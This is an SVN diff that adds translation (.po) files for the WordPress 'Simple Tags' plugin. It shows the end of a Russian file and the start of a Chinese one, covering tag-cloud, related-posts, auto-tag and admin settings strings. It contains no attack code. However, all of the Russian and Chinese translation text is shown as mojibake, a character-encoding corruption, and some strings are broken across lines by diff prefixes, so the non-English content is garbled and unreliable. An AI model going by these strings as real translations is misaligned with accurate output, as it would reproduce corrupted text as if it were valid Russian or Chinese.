+ (embedded) ÐŒÐµÑÐŸÐº Ð² ÐœÐŸÐ²ÑÑ ÐœÐ°ÑÐžÐ²ÐœÑÑ ÑÑÑÑÐºÑÑÑÑ ÐŒÐµÑÐŸÐº WordPress."
+
+#~ msgid "Close"
+#~ msgstr "ÐÐ°ÐºÑÑÑÑ"
+#~ msgid "%s terms updated with success !"
+#~ msgstr "%s ÑÐµÑÐŒÐžÐœÐŸÐ² ÑÑÐ¿ÐµÑÐœÐŸ ÐŸÐ±ÐœÐŸÐ²Ð»ÐµÐœÐŸ !"
+#~ msgid "Category"
+#~ msgstr "Ð ÑÐ±ÑÐžÐºÐ°"
+#~ msgid "Simple Tags: Advanced Edit Terms"
+#~ msgstr "Simple Tags: Ð Ð°ÑÑÐžÑÐµÐœÐœÐŸÐµ ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐžÐµ ÑÐµÑÐŒÐžÐœÐŸÐ²"
+#~ msgid ""
+#~ "Be careful with this page ! You can cause important damages, and lost all "
+#~ "tags and categories of your WordPress installation."
+#~ msgstr ""
+#~ "ÐÑÐŽÑÑÐµ ÐŸÑÑÐŸÑÐŸÐ¶ÐœÑ Ñ ÑÑÐŸÐ¹ ÑÑÑÐ°ÐœÐžÑÐµÐ¹! ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ Ð²ÑÐ·Ð²Ð°ÑÑ ÑÐµÑÑÐµÐ·ÐœÑÐµ "
+#~ "Ð¿ÐŸÐ²ÑÐµÐ¶ÐŽÐµÐœÐžÑ Ðž Ð¿ÐŸÑÐµÑÑÑÑ Ð²ÑÐµ Ð²Ð°ÑÐž ÐŒÐµÑÐºÐž Ðž ÑÑÐ±ÑÐžÐºÐž Ð²Ð°ÑÐµÐ¹ ÐžÐœÑÑÐ°Ð»Ð»ÑÑÐžÐž "
+#~ "WordPress."
+#~ msgid "Taxonomy&hellip;"
+#~ msgstr "Ð¢Ð°ÐºÑÐŸÐœÐŸÐŒÐžÑ&hellip;"
+#~ msgid "Counter (descending)"
+#~ msgstr "ÐÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸ (Ð² Ð¿ÐŸÑÑÐŽÐºÐµ ÑÐ±ÑÐ²Ð°ÐœÐžÑ)"
+#~ msgid "Counter (ascending)"
+#~ msgstr "ÐÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸ (Ð² Ð¿ÐŸÑÑÐŽÐºÐµ Ð²ÐŸÐ·ÑÐ°ÑÑÐ°ÐœÐžÑ)"
+#~ msgid "Name (descending)"
+#~ msgstr "ÐÐŒÑ (Ð² Ð¿ÐŸÑÑÐŽÐºÐµ ÑÐ±ÑÐ²Ð°ÐœÐžÑ)"
+#~ msgid "Name (ascending)"
+#~ msgstr "ÐÐŒÑ (Ð² Ð¿ÐŸÑÑÐŽÐºÐµ Ð²ÐŸÐ·ÑÐ°ÑÑÐ°ÐœÐžÑ)"
+#~ msgid "ID (no editing)"
+#~ msgstr "ID (ÐœÐµ ÑÐµÐŽÐ°ÐºÑÐžÑÑÐµÑÑÑ)"
+#~ msgid "Name"
+#~ msgstr "ÐÐ°Ð·Ð²Ð°ÐœÐžÐµ"
+#~ msgid "Slug (unique)"
+#~ msgstr "ÐÐŸÑÐŸÑÐºÐ°Ñ ÑÑÑÐ»ÐºÐ° (ÑÐœÐžÐºÐ°Ð»ÑÐœÐ°Ñ)"
+#~ msgid "Term group"
+#~ msgstr "ÐÑÑÐ¿Ð¿Ð° ÑÐµÑÐŒÐžÐœÐ°"
+#~ msgid "Taxonomy"
+#~ msgstr "Ð¢Ð°ÐºÑÐŸÐœÐŸÐŒÐžÑ"
+#~ msgid "Count"
+#~ msgstr "Ð¡ÑÐµÑ"
+#~ msgid "Parent"
+#~ msgstr "Ð ÐŸÐŽÐžÑÐµÐ»Ñ"
+#~ msgid "Description"
+#~ msgstr "ÐÐ¿ÐžÑÐ°ÐœÐžÐµ"
+#~ msgid "Delete ?"
+#~ msgstr "Ð£ÐŽÐ°Ð»ÐžÑÑ ?"
+#~ msgid "Update all terms"
+#~ msgstr "ÐÐ±ÐœÐŸÐ²ÐžÑÑ Ð²ÑÐµ ÑÐµÑÐŒÐžÐœÑ"
+#~ msgid "No terms to edit."
+#~ msgstr "ÐÐµÑ ÑÐµÑÐŒÐžÐœÐŸÐ² ÐŽÐ»Ñ ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐžÑ."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-zh_CN.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-zh_CN.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-zh_CN.po	(revision 44)
@@ -0,0 +1,1924 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-04-01 00:00+0800\n"
+"PO-Revision-Date: 2008-04-01 00:36+0800\n"
+"Last-Translator: Leo <skyros[at]gmail(dot)com>\n"
+"Language-Team: WordPress äž­æå¢é\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: C:\\xampp\\htdocs\\wp\\wp-content\\plugins\\simple-tags\n"
+"X-Poedit-SearchPath-0: C:\\xampp\\htdocs\\wp\\wp-content\\plugins\\simple-tags\n"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/simple-tags.php:40
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Simple Tags äžèœäœ¿çšåšè¯¥çæ¬ç WordPress äž­ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/simple-tags.php:40
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "æšå¿
+é¡»äœ¿çš <a href=\"%1$s\">Simple Tagging Plugin</a>ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:87
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:556
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:86
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:551
+msgid "No related posts."
+msgstr "æ çžå
+³æ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:88
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:555
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:87
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:550
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>çžå
+³æ¥å¿</h4>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:89
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:558
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:88
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:553
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:95
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:1223
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:94
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:1250
+msgid "No tags."
+msgstr "æ æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:96
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:1225
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:95
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:1252
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>æ ç­Ÿäº</h4>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:98
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:1224
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:97
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:1251
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% äžªäž»é¢\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:110
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:1440
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:109
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:1496
+msgid "Tags: "
+msgstr "æ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:112
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:1447
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:1503
+msgid "No tag for this post."
+msgstr "è¯¥æ¥å¿æªå æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:115
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:1446
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:114
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:123
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:875
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:122
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:901
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>çžå
+³æ ç­Ÿ</h4>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:124
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:876
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:902
+msgid "No related tag found."
+msgstr "æªæŸå°çžå
+³æ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:125
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:124
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:130
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:129
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"ä»æçŽ¢äž­ç§»é€ %tag_name_attribute%\">ç§»é€ %tag_name%</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:272
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:262
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "æ ç­Ÿ %s äžçæ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:787
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:822
+msgid "There is no excerpt because this is a protected post."
+msgstr "æ¥å¿åä¿æ€ïŒäžèœæŸç€ºæèŠã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:877
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:903
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"æ¥ç %tag_name_attribute% äžçæ¥å¿\">%tag_name%</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:1079
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"ä»æçŽ¢äž­ç§»é€ %tag_name_attribute%\">ç§»é€ %tag_name%</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/simple-tags.client.php:1686
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/simple-tags.client.php:1761
+msgid "Invalid Taxonomy"
+msgstr "æ æçåç±»"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:149
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:628
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:158
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple TagsïŒç®¡çæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:149
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:158
+msgid "Manage Tags"
+msgstr "ç®¡çæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:150
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:843
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:159
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple TagsïŒæ¹éçŒèŸæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:150
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:159
+msgid "Mass Edit Tags"
+msgstr "æ¹éçŒèŸæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:151
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:209
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:160
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple TagsïŒæºèœæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:151
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:160
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:217
+msgid "Auto Tags"
+msgstr "æºèœæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:152
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:522
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:161
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:521
+msgid "Simple Tags: Options"
+msgstr "Simple TagsïŒ éé¡¹"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:152
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:161
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:194
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:203
+msgid "Auto tags options updated !"
+msgstr "æºèœæ ç­Ÿéé¡¹å·²æŽæ°ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:210
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:523
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:629
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:844
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "è®¿é® <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">æä»¶äž»é¡µ</a> ä»¥æ¥çè¯Šæ
+ãåŠææšåç°ä»»äœ Bug æææŽå¥œçäž»æïŒè¯· <a href=\"mailto:amaury@wordpress-fr.net\">äžæèç³»</a> ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:214
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:222
+msgid "Auto tags list"
+msgstr "æºèœæ ç­Ÿåè¡š"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:215
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:223
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "è¯¥åèœå°å
+è®ž WordPress åšä¿å­æ¥å¿çæ¶åéå¯¹ç¹å®çæ ç­Ÿæ£æ¥æ¥å¿å
+å®¹åæ é¢ãåŠææ¥å¿å
+å®¹ææ é¢äž­å«æè¯è¯­âWordPressâå¹¶äžâWordPressâåšæºèœæ ç­Ÿåè¡šäž­ïŒå Simple Tags å°èªåšäžºè¯¥æ¥å¿å äžæ ç­ŸâWordPressâã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:219
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:232
+msgid "Active Auto Tags."
+msgstr "å¯çšæºèœæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:222
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:239
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "åæ¶äœ¿çšæ¬å°å·²ææ ç­Ÿä»¥å®ç°æºèœæ ç­ŸïŒæéïŒåŠææ ç­Ÿæ°èŸå€ïŒæ¬éé¡¹äŒæ¶èå€§é CPU èµæºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:225
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:246
+msgid "Autotag only posts without tags."
+msgstr "ä»
+å¯¹æªå æ ç­Ÿçæ¥å¿äœ¿çšæºèœæ ç­Ÿåèœ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "å
+³é®è¯åè¡šïŒè±æéå·éåŒïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "æŽæ°åè¡š &raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:236
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:262
+msgid "Auto tags old content"
+msgstr "èªåšäžºæ§å
+å®¹æ·»å æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:237
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:263
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "Simple Tags ä¹å¯ä»¥äžºåå®¢äž­å·²æçå
+å®¹æ·»å æ ç­ŸïŒè¯¥åèœèŠçšå°äžé¢çæºèœæ ç­Ÿåè¡šã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "èªåšäžºææå
+å®¹æ·»å æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:259
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:288
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "åŠææµè§åšæ²¡æèªåšè·³èœ¬å°äžäžªé¡µé¢ïŒè¯·ç¹å»ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:259
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:288
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr "äžæ¡å
+å®¹"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr "å
+šéšå®æïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "åšæ ç­ŸæçŽ¢ç»æäž­å
+æ¬é¡µé¢ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "äœ¿çšè¯¥åèœéèŠå¯çš âåšé¡µé¢çŒèŸäž­å å
+¥æ ç­Ÿç®¡çâ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:289
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:319
+msgid "Allow tag cloud in post/page content:"
+msgstr "åšæ¥å¿åé¡µé¢å
+å®¹äž­æŸç€ºæ ç­ŸäºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:290
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:320
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "è®© WordPress åšæŸç€ºæ¥å¿æ¶å¯»æŸæ è®° <code>&lt;!--st_tag_cloud--&gt;</code> ïŒå¹¶çšæ ç­Ÿäºä»£æ¿è¯¥æ è®°"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:291
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:321
+msgid "Active auto link tags into post content:"
+msgstr "åšæ¥å¿å
+å®¹äž­èªåšå å
+¥æ ç­ŸéŸæ¥ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:292
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:322
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "èäŸ: æšå·²ç»æäºäžäžªâWordPressâæ ç­ŸïŒå¹¶äžæ¥å¿å«æç­è¯­âWordPressâïŒè¯¥åèœå°æâWordPressâç­è¯­æ¿æ¢æâWordPressâçæ ç­Ÿé¡µéŸæ¥ïŒhttp://yourblog.net/tag/wordpress/ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:293
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:323
+msgid "Min usage for auto link tags:"
+msgstr "èªåšéŸæ¥æ ç­Ÿçæäœäœ¿çšåºŠïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:294
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:324
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "è¯¥åæ°å
+è®žåŒºå¶è®Ÿçœ®æ ç­Ÿäœ¿çšåºŠçæå°åŒãé»è®€åŒïŒ1"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:295
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:325
+msgid "Ignore case for auto link feature ?"
+msgstr "äœ¿çšèªåšéŸæ¥æ ç­Ÿæ¶å¿œç¥å€§å°åïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:296
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:326
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "èäŸïŒè¥å¿œç¥å€§å°åïŒâwordpressâå°äŒè¢«æ¿æ¢æâWordPressâçæ ç­ŸéŸæ¥"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:297
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:327
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "åšæ¯äžªæ ç­ŸéŸæ¥äž­å å
+¥ rel=\"nofollow\"ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:298
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:328
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "Nofollow æ¯äžäžªéæ åç HTML å±æ§åŒïŒçšäºåç¥æçŽ¢åŒæè¯¥éŸæ¥äžåºåœ±åéŸæ¥å¯¹è±¡çè¯çº§"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "åšé¡µé¢çŒèŸäž­å å
+¥æ ç­Ÿç®¡çïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "çŒèŸé¡µé¢æ¶æŸç€ºæ ç­ŸèŸå
+¥æ¡"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:303
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:331
+msgid "Activate click tags feature:"
+msgstr "å¯åšäžé®æ ç­Ÿç¹æ§ïŒ"
+
